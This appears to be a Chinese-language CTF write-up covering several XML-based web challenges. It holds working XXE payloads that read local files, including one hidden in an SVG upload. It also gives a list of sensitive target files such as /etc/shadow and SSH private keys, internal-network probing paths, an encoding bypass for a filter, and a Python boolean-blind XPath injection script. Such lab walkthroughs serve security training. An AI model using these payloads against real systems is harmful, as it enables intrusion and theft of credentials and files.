[NCTF2019]Fake XML cookbook
尝试登录无果,看到题目存在xml,猜测XXE,抓包发现传输数据符合xxe注入格式
payload
1 2 3 4 5 6 7 8
| <?xml version="1.0" ?> <!DOCTYPE llw [ <!ENTITY file SYSTEM "file:///flag"> ]> <user> <username>&file;</username> <password>1</password> </user>
|
[NCTF2019]True XML cookbook
常见的可以读取的敏感文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| /etc/passwd /etc/shadow /etc/hosts /root/.bash_history //root的bash历史记录 /root/.ssh/authorized_keys /root/.mysql_history //mysql的bash历史记录 /root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件 /var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件 /proc/self/fd/fd[0-9]*(文件标识符) //proc/self/cwd/ /proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/mounts // 挂载的文件系统列表 /proc/net/arp //arp表,可以获得内网其他机器的地址 /proc/net/route //路由表信息 /proc/net/tcp and /proc/net/udp // 活动连接的信息 /proc/net/fib_trie // 路由缓存 /proc/version // 内核版本 /proc/[PID]/cmdline // 可能包含有用的路径信息 /proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd // 当前进程的工作目录 /proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log ssh /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
|
这题思路基本跟上一题一样,利用相同payload的发现无法访问,尝试读取敏感文件
根目录下没有找到flag,猜测存在内网主机
常见内网探测命令
1 2 3 4 5 6
| file:///etc/hosts file:///proc/net/arp file:///proc/net/tcp file:///proc/net/udp file:///proc/net/dev file:///proc/net/fib_trie
|
获得新ip
连接失败,尝试查询下同网段内存在不存在其他地址,这里利用脚本和burp进行爆破应该都是可以的
[CSAWQual 2019]Web_Unagi
看到user.php
猜测为xxe注入,构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users>
|
存在过滤,可以用utf编码绕过
1
| iconv -f utf8 -t utf16 1.xml>2.xml
|
[BSidesCF 2019]SVGMagic
SVG
SVG,可缩放矢量图形(Scalable Vector Graphics),是一种用于描述二维图形的 XML 标记语言
也就是说我们可以通过再svg中构造xxe脚本进行上传
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
找到flag即可
[NPUCTF2020]ezlogin
登录页面尝试传参
测试普通xxe脚本感觉不对,发现可以xpath注入
这里先放两篇文章XPATH注入学习和xpath注入详解对xpath注入有个比较详细的讲解
然后我们尝试用万能公式去试,可以发现
根据输出的差别我们就可以写出一个布尔盲注爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import requests import re import time
# 创建一个会话对象,保持会话状态 session = requests.session() # 目标URL url = "http://e6bcddf2-8f0b-411a-ba79-90a1b4820660.node3.buuoj.cn" # 可能的字符集,用于枚举 chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # 请求头,指定内容类型为XML head = { 'Content-Type': 'application/xml', }
# 正则表达式,用于从响应中提取token值 find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />', re.S) # 用于存储最终结果 result = ""
# Payload模板,用于猜测根节点名称 payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" # Payload模板,用于猜测子节点名称 payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" # Payload模板,用于猜测accounts节点的子节点名称 payload_3 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" # Payload模板,用于猜测user节点的子节点名称 payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" # Payload模板,用于获取用户名 payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" # Payload模板,用于获取密码 payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 函数:获取token def get_token(): resp = session.get(url=url) # 发送GET请求获取响应 token = find.findall(resp.text)[0] # 使用正则表达式提取token return token # 返回token
# 主循环:枚举字符 for x in range(1, 100): for char in chars: time.sleep(0.3) # 等待0.3秒,避免请求过快 token = get_token() # 获取当前token playload = payload_1.format(x, char, token) # 构造payload resp = session.post(url=url, headers=head, data=playload) # 发送POST请求 if "非法操作" in resp.text: # 检查响应内容,如果包含"非法操作",表示猜测正确 result += char # 将猜测正确的字符添加到结果中 print(result) # 打印当前结果 break # 结束当前字符的循环 if "用户名或密码错误" in resp.text: # 如果响应包含"用户名或密码错误",表示枚举结束 break # 结束枚举
print(result) # 打印最终结果
|
后面的重启忘记保存了,这里不想重复子再写了,总结一句话
伪协议是xxe的灵魂
和一篇xxe的小技巧
以及一个简单的服务,它为你提供一个子域,并快速而简单的保存向该网站发出的所有请求的日志